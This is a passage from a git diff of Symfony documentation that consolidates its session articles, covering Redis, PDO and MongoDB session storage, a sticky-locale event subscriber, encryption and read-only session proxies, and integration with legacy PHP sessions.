+Before storing sessions in the database, you must create the table that stores
+the information. The session handler provides a method called
+:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::createTable`
+to set up this table for you according to the database engine used::
+
+    try {
+        $sessionHandlerService->createTable();
+    } catch (\PDOException $exception) {
+        // the table could not be created for some reason
+    }
+
+If you prefer to set up the table yourself, it's recommended to generate an
+empty database migration with the following command:
+
+.. code-block:: terminal
+
+    $ php bin/console doctrine:migrations:generate
+
+Then, find the appropriate SQL for your database below, add it to the migration
+file and run the migration with the following command:
+
+.. code-block:: terminal
+
+    $ php bin/console doctrine:migrations:migrate
+
+.. _mysql:
+
+MariaDB/MySQL
++++++++++++++
+
+.. code-block:: sql
+
+    CREATE TABLE `sessions` (
+        `sess_id` VARBINARY(128) NOT NULL PRIMARY KEY,
+        `sess_data` BLOB NOT NULL,
+        `sess_lifetime` INTEGER UNSIGNED NOT NULL,
+        `sess_time` INTEGER UNSIGNED NOT NULL,
+        INDEX `sessions_sess_lifetime_idx` (`sess_lifetime`)
+    ) COLLATE utf8mb4_bin, ENGINE = InnoDB;
+
+.. note::
+
+    A ``BLOB`` column type (which is the one used by default by ``createTable()``)
+    stores up to 64 kb. If the user session data exceeds this, an exception may
+    be thrown or their session will be silently reset. Consider using a ``MEDIUMBLOB``
+    if you need more space.
+
+PostgreSQL
+++++++++++
+
+.. code-block:: sql
+
+    CREATE TABLE sessions (
+        sess_id VARCHAR(128) NOT NULL PRIMARY KEY,
+        sess_data BYTEA NOT NULL,
+        sess_lifetime INTEGER NOT NULL,
+        sess_time INTEGER NOT NULL
+    );
+    CREATE INDEX sessions_sess_lifetime_idx ON sessions (sess_lifetime);
+
+Microsoft SQL Server
+++++++++++++++++++++
+
+.. code-block:: sql
+
+    CREATE TABLE sessions (
+        sess_id VARCHAR(128) NOT NULL PRIMARY KEY,
+        sess_data NVARCHAR(MAX) NOT NULL,
+        sess_lifetime INTEGER NOT NULL,
+        sess_time INTEGER NOT NULL,
+        INDEX sessions_sess_lifetime_idx (sess_lifetime)
+    );
+
+.. _session-database-mongodb:
+
+Store Sessions in a NoSQL Database (MongoDB)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Symfony includes a
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MongoDbSessionHandler`
+to store sessions in the MongoDB NoSQL database. First, make sure to have a
+working MongoDB connection in your Symfony application as explained in the
+`DoctrineMongoDBBundle configuration`_ article.
+
+Then, register a new handler service for ``MongoDbSessionHandler`` and pass it
+the MongoDB connection as argument:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler:
+                arguments:
+                    - '@doctrine_mongodb.odm.default_connection'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <services>
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler" public="false">
+                    <argument type="service">doctrine_mongodb.odm.default_connection</argument>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
+
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(MongoDbSessionHandler::class)
+                ->args([
+                    service('doctrine_mongodb.odm.default_connection'),
+                ])
+            ;
+        };
+
+Next, use the :ref:`handler_id <config-framework-session-handler-id>`
+configuration option to tell Symfony to use this service as the session handler:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                # ...
+                handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- ... -->
+                <framework:session
+                    handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->session()
+                ->handlerId(MongoDbSessionHandler::class)
+            ;
+        };
+
+.. note::
+
+    MongoDB ODM 1.x only works with the legacy driver, which is no longer
+    supported by the Symfony session class. Install the ``alcaeus/mongo-php-adapter``
+    package to retrieve the underlying ``\MongoDB\Client`` object or upgrade to
+    MongoDB ODM 2.0.
+
+That's all! Symfony will now use your MongoDB server to read and write the
+session data. You do not need to do anything to initialize your session
+collection. However, you may want to add an index to improve garbage collection
+performance. Run this from the `MongoDB shell`_:
+
+.. code-block:: javascript
+
+    use session_db
+    db.session.createIndex( { "expires_at": 1 }, { expireAfterSeconds: 0 } )
+
+Configuring the Session Field Names
+...................................
+
+The collection used to store sessions defines certain field names. You can
+configure these values with the second argument passed to the
+``MongoDbSessionHandler`` service:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler:
+                arguments:
+                    - '@doctrine_mongodb.odm.default_connection'
+                    - { id_field: '_guid', 'expiry_field': 'eol' }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler" public="false">
+                    <argument type="service">doctrine_mongodb.odm.default_connection</argument>
+                    <argument type="collection">
+                        <argument key="id_field">_guid</argument>
+                        <argument key="expiry_field">eol</argument>
+                    </argument>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
+
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(MongoDbSessionHandler::class)
+                ->args([
+                    service('doctrine_mongodb.odm.default_connection'),
+                    ['id_field' => '_guid', 'expiry_field' => 'eol'],
+                ])
+            ;
+        };
+
+These are parameters that you can configure:
+
+``id_field`` (default ``_id``):
+    The name of the field where to store the session ID;
+
+``data_field`` (default ``data``):
+    The name of the field where to store the session data;
+
+``time_field`` (default ``time``):
+    The name of the field where to store the session creation timestamp;
+
+``expiry_field`` (default ``expires_at``):
+    The name of the field where to store the session lifetime.
+
+.. index::
+    single: Sessions, saving locale
+
+Migrating Between Session Handlers
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If your application changes the way sessions are stored, use the
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MigratingSessionHandler`
+to migrate between old and new save handlers without losing session data.
+
+This is the recommended migration workflow:
+
+#. Switch to the migrating handler, with your new handler as the write-only one.
+   The old handler behaves as usual and sessions get written to the new one::
+
+       $sessionStorage = new MigratingSessionHandler($oldSessionStorage, $newSessionStorage);
+
+#. After your session gc period, verify that the data in the new handler is correct.
+#. Update the migrating handler to use the old handler as the write-only one, so
+   the sessions will now be read from the new handler. This step allows easier rollbacks::
+
+       $sessionStorage = new MigratingSessionHandler($newSessionStorage, $oldSessionStorage);
+
+#. After verifying that the sessions in your application are working, switch
+   from the migrating handler to the new handler.
+
+.. index::
+    single: Sessions, saving locale
+
+.. _locale-sticky-session:
+
+Making the Locale "Sticky" during a User's Session
+--------------------------------------------------
+
+Symfony stores the locale setting in the Request, which means that this setting
+is not automatically saved ("sticky") across requests. But, you *can* store the
+locale in the session, so that it's used on subsequent requests.
+
+Creating a LocaleSubscriber
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Create a :ref:`new event subscriber <events-subscriber>`. Typically,
+``_locale`` is used as a routing parameter to signify the locale, though you
+can determine the correct locale however you want::
+
+    // src/EventSubscriber/LocaleSubscriber.php
+    namespace App\EventSubscriber;
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\HttpKernel\Event\RequestEvent;
+    use Symfony\Component\HttpKernel\KernelEvents;
+
+    class LocaleSubscriber implements EventSubscriberInterface
+    {
+        private $defaultLocale;
+
+        public function __construct(string $defaultLocale = 'en')
+        {
+            $this->defaultLocale = $defaultLocale;
+        }
+
+        public function onKernelRequest(RequestEvent $event)
+        {
+            $request = $event->getRequest();
+            if (!$request->hasPreviousSession()) {
+                return;
+            }
+
+            // try to see if the locale has been set as a _locale routing parameter
+            if ($locale = $request->attributes->get('_locale')) {
+                $request->getSession()->set('_locale', $locale);
+            } else {
+                // if no explicit locale has been set on this request, use one from the session
+                $request->setLocale($request->getSession()->get('_locale', $this->defaultLocale));
+            }
+        }
+
+        public static function getSubscribedEvents()
+        {
+            return [
+                // must be registered before (i.e. with a higher priority than) the default Locale listener
+                KernelEvents::REQUEST => [['onKernelRequest', 20]],
+            ];
+        }
+    }
+
+If you're using the :ref:`default services.yaml configuration
+<service-container-services-load-example>`, you're done! Symfony will
+automatically know about the event subscriber and call the ``onKernelRequest``
+method on each request.
+
+To see it working, either set the ``_locale`` key on the session manually (e.g.
+via some "Change Locale" route & controller), or create a route with the
+:ref:`_locale default <translation-locale-url>`.
+
+.. sidebar:: Explicitly Configure the Subscriber
+
+    You can also explicitly configure it, in order to pass in the
+    :ref:`default_locale <config-framework-default_locale>`:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            services:
+                # ...
+
+                App\EventSubscriber\LocaleSubscriber:
+                    arguments: ['%kernel.default_locale%']
+                    # uncomment the next line if you are not using autoconfigure
+                    # tags: [kernel.event_subscriber]
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <services>
+                    <service id="App\EventSubscriber\LocaleSubscriber">
+                        <argument>%kernel.default_locale%</argument>
+
+                        <!-- uncomment the next line if you are not using autoconfigure -->
+                        <!-- <tag name="kernel.event_subscriber"/> -->
+                    </service>
+                </services>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            use App\EventSubscriber\LocaleSubscriber;
+
+            $container->register(LocaleSubscriber::class)
+                ->addArgument('%kernel.default_locale%')
+                // uncomment the next line if you are not using autoconfigure
+                // ->addTag('kernel.event_subscriber')
+            ;
+
+Now celebrate by changing the user's locale and seeing that it's sticky
+throughout the request.
+
+Remember, to get the user's locale, always use the :method:`Request::getLocale
+<Symfony\\Component\\HttpFoundation\\Request::getLocale>` method::
+
+    // from a controller...
+    use Symfony\Component\HttpFoundation\Request;
+
+    public function index(Request $request)
+    {
+        $locale = $request->getLocale();
+    }
+
+Setting the Locale Based on the User's Preferences
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You might want to improve this technique even further and define the locale
+based on the user entity of the logged in user. However, since the
+``LocaleSubscriber`` is called before the ``FirewallListener``, which is
+responsible for handling authentication and setting the user token on the
+``TokenStorage``, you have no access to the user which is logged in.
+
+Suppose you have a ``locale`` property on your ``User`` entity and want to use
+this as the locale for the given user. To accomplish this, you can hook into
+the login process and update the user's session with this locale value before
+they are redirected to their first page.
+
+To do this, you need an event subscriber on the ``security.interactive_login``
+event::
+
+    // src/EventSubscriber/UserLocaleSubscriber.php
+    namespace App\EventSubscriber;
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\HttpFoundation\RequestStack;
+    use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
+    use Symfony\Component\Security\Http\SecurityEvents;
+
+    /**
+     * Stores the locale of the user in the session after the
+     * login. This can be used by the LocaleSubscriber afterwards.
+     */
+    class UserLocaleSubscriber implements EventSubscriberInterface
+    {
+        private $requestStack;
+
+        public function __construct(RequestStack $requestStack)
+        {
+            $this->requestStack = $requestStack;
+        }
+
+        public function onInteractiveLogin(InteractiveLoginEvent $event)
+        {
+            $user = $event->getAuthenticationToken()->getUser();
+
+            if (null !== $user->getLocale()) {
+                $this->requestStack->getSession()->set('_locale', $user->getLocale());
+            }
+        }
+
+        public static function getSubscribedEvents()
+        {
+            return [
+                SecurityEvents::INTERACTIVE_LOGIN => 'onInteractiveLogin',
+            ];
+        }
+    }
+
+.. caution::
+
+    In order to update the language immediately after a user has changed their
+    language preferences, you also need to update the session when you change
+    the ``User`` entity.
+
+.. index::
+   single: Sessions, Session Proxy, Proxy
+
+Session Proxies
+---------------
+
+The session proxy mechanism has a variety of uses and this article demonstrates
+two common ones. Rather than using the regular session handler, you can create
+a custom save handler by defining a class that extends the
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Proxy\\SessionHandlerProxy`
+class.
+
+Then, define the class as a :ref:`service
+<service-container-creating-service>`. If you're using the :ref:`default
+services.yaml configuration <service-container-services-load-example>`, that
+happens automatically.
+
+Finally, use the ``framework.session.handler_id`` configuration option to tell
+Symfony to use your session handler instead of the default one:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                # ...
+                handler_id: App\Session\CustomSessionHandler
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <framework:config>
+                <framework:session handler-id="App\Session\CustomSessionHandler"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use App\Session\CustomSessionHandler;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->session()
+                ->handlerId(CustomSessionHandler::class)
+            ;
+        };
+
+Keep reading the next sections to learn how to use the session handlers in
+practice to solve two common use cases: encrypt session information and define
+read-only guest sessions.
+
+Encryption of Session Data
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you want to encrypt the session data, you can use the proxy to encrypt and
+decrypt the session as required. The following example uses the `php-encryption`_
+library, but you can adapt it to any other library that you may be using::
+
+    // src/Session/EncryptedSessionProxy.php
+    namespace App\Session;
+
+    use Defuse\Crypto\Crypto;
+    use Defuse\Crypto\Key;
+    use Symfony\Component\HttpFoundation\Session\Storage\Proxy\SessionHandlerProxy;
+
+    class EncryptedSessionProxy extends SessionHandlerProxy
+    {
+        private $key;
+
+        public function __construct(\SessionHandlerInterface $handler, Key $key)
+        {
+            $this->key = $key;
+
+            parent::__construct($handler);
+        }
+
+        public function read($id)
+        {
+            $data = parent::read($id);
+
+            return Crypto::decrypt($data, $this->key);
+        }
+
+        public function write($id, $data)
+        {
+            $data = Crypto::encrypt($data, $this->key);
+
+            return parent::write($id, $data);
+        }
+    }
+
+Read-only Guest Sessions
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+There are some applications where a session is required for guest users, but
+where there is no particular need to persist the session. In this case you can
+intercept the session before it is written::
+
+    // src/Session/ReadOnlySessionProxy.php
+    namespace App\Session;
+
+    use App\Entity\User;
+    use Symfony\Component\HttpFoundation\Session\Storage\Proxy\SessionHandlerProxy;
+    use Symfony\Component\Security\Core\Security;
+
+    class ReadOnlySessionProxy extends SessionHandlerProxy
+    {
+        private $security;
+
+        public function __construct(\SessionHandlerInterface $handler, Security $security)
+        {
+            $this->security = $security;
+
+            parent::__construct($handler);
+        }
+
+        public function write($id, $data)
+        {
+            if ($this->getUser() && $this->getUser()->isGuest()) {
+                return;
+            }
+
+            return parent::write($id, $data);
+        }
+
+        private function getUser()
+        {
+            $user = $this->security->getUser();
+            if (is_object($user)) {
+                return $user;
+            }
+        }
+    }
+
+.. _session-avoid-start:
+
+Integrating with Legacy Applications
+------------------------------------
+
+If you're integrating the Symfony full-stack Framework into a legacy
+application that starts the session with ``session_start()``, you may still be
+able to use Symfony's session management by using the PHP Bridge session.
+
+If the application has its own PHP save handler, you can specify ``null``
+for the ``handler_id``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                storage_factory_id: session.storage.factory.php_bridge
+                handler_id: ~
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <framework:config>
+                <framework:session storage-factory-id="session.storage.factory.php_bridge"
+                    handler-id="null"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->storageFactoryId('session.storage.factory.php_bridge')
+                ->handlerId(null)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HttpFoundation\Session\Session;
+        use Symfony\Component\HttpFoundation\Session\Storage\PhpBridgeSessionStorage;
+
+        // legacy application configures session
+        ini_set('session.save_handler', 'files');
+        ini_set('session.save_path', '/tmp');
+        session_start();
+
+        // Get Symfony to interface with this existing session
+        $session = new Session(new PhpBridgeSessionStorage());
+
+        // symfony will now interface with the existing PHP session
+        $session->start();
+
+Otherwise, if the problem is that you cannot avoid the application
+starting the session with ``session_start()``, you can still make use of
+a Symfony based session save handler by specifying the save handler as in
+the example below:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                storage_factory_id: session.storage.factory.php_bridge
+                handler_id: session.handler.native_file
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <framework:config>
+                <framework:session storage-id="session.storage.php_bridge"
+                    handler-id="session.storage.native_file"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->storageFactoryId('session.storage.factory.php_bridge')
+                ->handlerId('session.storage.native_file')
+            ;
+        };
 
-.. toctree::
-    :maxdepth: 1
+.. note::
 
-    session/database
-    session/locale_sticky_session
-    session/php_bridge
-    session/proxy_examples
+    If the legacy application requires its own session save handler, do not
+    override this. Instead set ``handler_id: ~``. Note that a save handler
+    cannot be changed once the session has been started. If the application
+    starts the session before Symfony is initialized, the save handler will
+    have already been set. In this case, you will need ``handler_id: ~``.
+    Only override the save handler if you are sure the legacy application
+    can use the Symfony save handler without side effects and that the session
+    has not been started before Symfony is initialized.
 
-.. _`HttpFoundation component`: https://symfony.com/components/HttpFoundation
+.. _`phpredis extension`: https://github.com/phpredis/phpredis
+.. _`DoctrineMongoDBBundle configuration`: https://symfony.com/doc/master/bundles/DoctrineMongoDBBundle/config.html
+.. _`MongoDB shell`: https://docs.mongodb.com/manual/mongo/
+.. _`php-encryption`: https://github.com/defuse/php-encryption
diff --git a/session/database.rst b/session/database.rst
deleted file mode 100644
index f14ef7a0656..00000000000
--- a/session/database.rst
+++ /dev/null
@@ -1,663 +0,0 @@
-.. index::
-    single: Session; Database Storage
-
-Store Sessions in a Database
-============================
-
-Symfony stores sessions in files by default. If your application is served by
-multiple servers, you'll need to use a database instead to make sessions work
-across different servers.
-
-Symfony can store sessions in all kinds of databases (relational, NoSQL and
-key-value) but recommends key-value databases like Redis to get best performance.
-
-Store Sessions in a key-value Database (Redis)
-----------------------------------------------
-
-This section assumes that you have a fully-working Redis server and have also
-installed and configured the `phpredis extension`_.
-
-You have two different options to use Redis to store sessions:
-
-(1) The first PHP-based option is to configure Redis session handler directly in
-the server ``php.ini`` file:
-
-.. code-block:: ini
-
-    ; php.ini
-    session.save_handler = redis
-    session.save_path = "tcp://192.168.0.178:6379?auth=REDIS_PASSWORD"
-
-(2) The second Symfony-based option is to configure Redis sessions as follows.
-
-First, define a Symfony service for the connection to the Redis server:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-            Redis:
-                # you can also use \RedisArray, \RedisCluster or \Predis\Client classes
-                class: Redis
-                calls:
-                    - connect:
-                        - '%env(REDIS_HOST)%'
-                        - '%env(int:REDIS_PORT)%'
-
-                    # uncomment the following if your Redis server requires a password
-                    # - auth:
-                    #     - '%env(REDIS_PASSWORD)%'
-                    
-                    # uncomment the following if your Redis server requires a user and a password (when user is not default)
-                    # - auth:
-                    #     - ['%env(REDIS_USER)%','%env(REDIS_PASSWORD)%']
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- you can also use \RedisArray, \RedisCluster or \Predis\Client classes -->
-                <service id="Redis" class="Redis">
-                    <call method="connect">
-                        <argument>%env(REDIS_HOST)%</argument>
-                        <argument>%env(int:REDIS_PORT)%</argument>
-                    </call>
-
-                    <!-- uncomment the following if your Redis server requires a password:
-                    <call method="auth">
-                        <argument>%env(REDIS_PASSWORD)%</argument>
-                    </call> -->
-
-                    <!-- uncomment the following if your Redis server requires a user and a password (when user is not default):
-                    <call method="auth">
-                        <argument>%env(REDIS_USER)%</argument>
-                        <argument>%env(REDIS_PASSWORD)%</argument>
-                    </call> -->
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // ...
-        $container
-            // you can also use \RedisArray, \RedisCluster or \Predis\Client classes
-            ->register('Redis', \Redis::class)
-            ->addMethodCall('connect', ['%env(REDIS_HOST)%', '%env(int:REDIS_PORT)%'])
-            // uncomment the following if your Redis server requires a password:
-            // ->addMethodCall('auth', ['%env(REDIS_PASSWORD)%'])
-            // uncomment the following if your Redis server requires a user and a password (when user is not default):
-            // ->addMethodCall('auth', ['%env(REDIS_USER)%', '%env(REDIS_PASSWORD)%'])
-        ;
-
-Now pass this ``\Redis`` connection as an argument of the service associated to the
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\RedisSessionHandler`.
-This argument can also be a ``\RedisArray``, ``\RedisCluster``, ``\Predis\Client``,
-and ``RedisProxy``:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-            Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
-                arguments:
-                    - '@Redis'
-                    # you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                    # which define the prefix to use for the keys to avoid collision on the Redis server
-                    # and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
-                    # - { 'prefix': 'my_prefix', 'ttl': 600 }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <services>
-            <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
-                <argument type="service" id="Redis"/>
-                <!-- you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                     which define the prefix to use for the keys to avoid collision on the Redis server
-                     and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
-                <argument type="collection">
-                    <argument key="prefix">my_prefix</argument>
-                    <argument key="ttl">600</argument>
-                </argument> -->
-            </service>
-        </services>
-
-    .. code-block:: php
-
-        // config/services.php
-        use Symfony\Component\DependencyInjection\Reference;
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
-
-        $container
-            ->register(RedisSessionHandler::class)
-            ->addArgument(
-                new Reference('Redis'),
-                // you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                // which define the prefix to use for the keys to avoid collision on the Redis server
-                // and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
-                // ['prefix' => 'my_prefix', 'ttl' => 600],
-            );
-
-Next, use the :ref:`handler_id <config-framework-session-handler-id>`
-configuration option to tell Symfony to use this service as the session handler:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            session:
-                handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <framework:config>
-            <!-- ... -->
-            <framework:session handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler"/>
-        </framework:config>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            // ...
-            $framework->session()
-                ->handlerId(RedisSessionHandler::class)
-            ;
-        };
-
-That's all! Symfony will now use your Redis server to read and write the session
-data. The main drawback of this solution is that Redis does not perform session
-locking, so you can face *race conditions* when accessing sessions. For example,
-you may see an *"Invalid CSRF token"* error because two requests were made in
-parallel and only the first one stored the CSRF token in the session.
-
-.. seealso::
-
-    If you use Memcached instead of Redis, follow a similar approach but replace
-    ``RedisSessionHandler`` by :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler`.
-
-Store Sessions in a Relational Database (MariaDB, MySQL, PostgreSQL)
---------------------------------------------------------------------
-
-Symfony includes a :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler`
-to store sessions in relational databases like MariaDB, MySQL and PostgreSQL. To use it,
-first register a new handler service with your database credentials:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler:
-                arguments:
-                    - '%env(DATABASE_URL)%'
-
-                    # you can also use PDO configuration, but requires passing two arguments
-                    # - 'mysql:dbname=mydatabase; host=myhost; port=myport'
-                    # - { db_username: myuser, db_password: mypassword }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
-                    <argument>%env(DATABASE_URL)%</argument>
-
-                    <!-- you can also use PDO configuration, but requires passing two arguments: -->
-                    <!-- <argument>mysql:dbname=mydatabase; host=myhost; port=myport</argument>
-                        <argument type="collection">
-                            <argument key="db_username">myuser</argument>
-                            <argument key="db_password">mypassword</argument>
-                        </argument> -->
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
-
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
-
-            $services->set(PdoSessionHandler::class)
-                ->args([
-                    env('DATABASE_URL'),
-                    // you can also use PDO configuration, but requires passing two arguments:
-                    // 'mysql:dbname=mydatabase; host=myhost; port=myport',
-                    // ['db_username' => 'myuser', 'db_password' => 'mypassword'],
-                ])
-            ;
-        };
-
-.. tip::
-
-    When using MySQL as the database, the DSN defined in ``DATABASE_URL`` can
-    contain the ``charset`` and ``unix_socket`` options as query string parameters.
-
-    .. versionadded:: 5.3
-
-        The support for ``charset`` and ``unix_socket`` options was introduced
